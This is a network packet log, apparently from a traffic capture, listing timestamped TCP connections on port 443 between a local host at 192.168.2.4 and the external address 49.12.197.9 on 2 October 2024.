Oct 2, 2024 05:19:26.810439110 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.810606956 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.810621977 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.810678005 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.813524008 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.813539028 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.813606024 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.813620090 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.813674927 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.829783916 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.829798937 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.829865932 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.829879045 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.829936981 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.886859894 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.886876106 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.887006044 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.887026072 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.887129068 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.889805079 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.889821053 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.889882088 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.889894962 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.889955997 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.901782990 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.901802063 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.901969910 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.901999950 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.902054071 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.904406071 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.904419899 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.904486895 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.904500961 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.904553890 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.906801939 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.906816006 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.906887054 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.906899929 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.906971931 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.908561945 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.908576012 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.908653021 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.908667088 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.908718109 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.911207914 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.911221027 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.911283016 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.911312103 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.911360979 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.965338945 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.965357065 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.965430021 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.965446949 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.965497017 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.976123095 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.976136923 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.976227045 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.976239920 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.976298094 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.977686882 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.977700949 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.977780104 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.977793932 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.977840900 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.990444899 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.990462065 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.990535975 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.990550041 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.990605116 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.992196083 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.992209911 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.992264986 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.992278099 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.992307901 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.992328882 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.994688034 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.994699955 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.994766951 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.994780064 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.994828939 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.996483088 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.996496916 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.996548891 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.996562958 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.996618032 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.999236107 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.999249935 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.999313116 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.999330997 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.999399900 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.061748028 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.061759949 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.061827898 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.061846972 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.061878920 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.061902046 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.064841032 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.064856052 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.064918041 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.064935923 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.064964056 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.064982891 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.077241898 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.077259064 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.077459097 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.077471972 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.077528954 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.078705072 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.078717947 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.078787088 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.078802109 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.078859091 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.080459118 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.080471992 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.080538034 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.080553055 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.080605030 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.082226992 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.082241058 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.082310915 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.082324982 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.082381010 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.084034920 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.084049940 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.084105968 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.084120989 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.084170103 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.087959051 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.087974072 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.088028908 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.088042021 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.088067055 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.088088036 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.150393963 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.150407076 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.150474072 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.150495052 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.150521040 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.150542021 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.153594017 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.153608084 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.153726101 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.153739929 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.153785944 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.165973902 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.165992022 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.166038036 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.166052103 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.166079998 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.166098118 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.167006016 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.167022943 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.167081118 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.167093992 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.167144060 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.168989897 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.169003010 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.169059038 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.169071913 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.169096947 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.169114113 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.170006037 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.170017958 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.170064926 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.170075893 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.170104980 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.170124054 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.171956062 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.171967983 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.172071934 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.172085047 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.172137022 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.176841021 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.176853895 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.176901102 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.176913023 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.176940918 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.176963091 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.240581989 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.240597010 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.240680933 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.240694046 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.240751028 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.242588043 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.242604017 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.242666960 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.242680073 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.242733002 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.254945993 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.254960060 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.255063057 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.255075932 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.255151033 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.256118059 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.256130934 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.256174088 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.256186962 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.256220102 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.256221056 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.257015944 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.257029057 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.257082939 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.257096052 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.257148027 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.258836031 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.258851051 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.258907080 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.258918047 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.258941889 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.258968115 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.259639978 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.259654045 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.259701014 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.259720087 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.259746075 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.259763956 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.265539885 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.265556097 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.265630960 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.265656948 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.265682936 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.265710115 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.329216957 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.329231977 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.329301119 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.329317093 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.329375982 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.330864906 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.330884933 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.330950022 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.330964088 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.331017017 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.343597889 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.343611002 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.343682051 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.343694925 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.343723059 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.343743086 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.344918966 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.344932079 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.345004082 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.345016956 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.345063925 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.346076012 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.346087933 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.346147060 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.346160889 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.346206903 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.347100019 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.347112894 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.347171068 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.347183943 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.347232103 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.348975897 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.348988056 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.349046946 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.349060059 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.349113941 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.354216099 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.354231119 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.354290009 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.354305029 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.354357004 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.417824030 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.417838097 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.418000937 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.418016911 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.418067932 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.419667959 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.419686079 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.419739008 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.419750929 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.419779062 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.419796944 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.432508945 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.432524920 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.432590961 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.432602882 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.432801008 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.432801008 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.433701038 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.433717012 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.433753014 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.433777094 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.433790922 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.433819056 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.433829069 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.433845997 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.433871984 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.434071064 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.434098959 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.451103926 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.451141119 CEST	443	49747	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:27.451220036 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.451423883 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:27.451432943 CEST	443	49747	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:28.099922895 CEST	443	49747	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:28.100007057 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:28.100496054 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:28.100502968 CEST	443	49747	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:28.102159023 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:28.102164030 CEST	443	49747	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:28.102206945 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:28.102216005 CEST	443	49747	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:28.528745890 CEST	49748	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:28.528834105 CEST	443	49748	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:28.528928995 CEST	49748	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:28.529211998 CEST	49748	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:28.529246092 CEST	443	49748	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:29.894809961 CEST	443	49747	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:29.894886017 CEST	443	49747	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:29.894933939 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:29.894951105 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:29.895860910 CEST	49747	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:29.895874977 CEST	443	49747	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:29.896476030 CEST	443	49748	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:29.896543980 CEST	49748	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:29.896894932 CEST	49748	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:29.896904945 CEST	443	49748	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:29.898730040 CEST	49748	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:29.898734093 CEST	443	49748	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:29.898785114 CEST	49748	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:29.898789883 CEST	443	49748	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:30.548448086 CEST	49749	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:30.548486948 CEST	443	49749	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:30.548557997 CEST	49749	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:30.548785925 CEST	49749	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:30.548803091 CEST	443	49749	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:30.633591890 CEST	443	49748	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:30.633652925 CEST	443	49748	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:30.633690119 CEST	49748	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:30.633709908 CEST	49748	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:30.634644985 CEST	49748	443	192.168.2.4	49.12.197.9
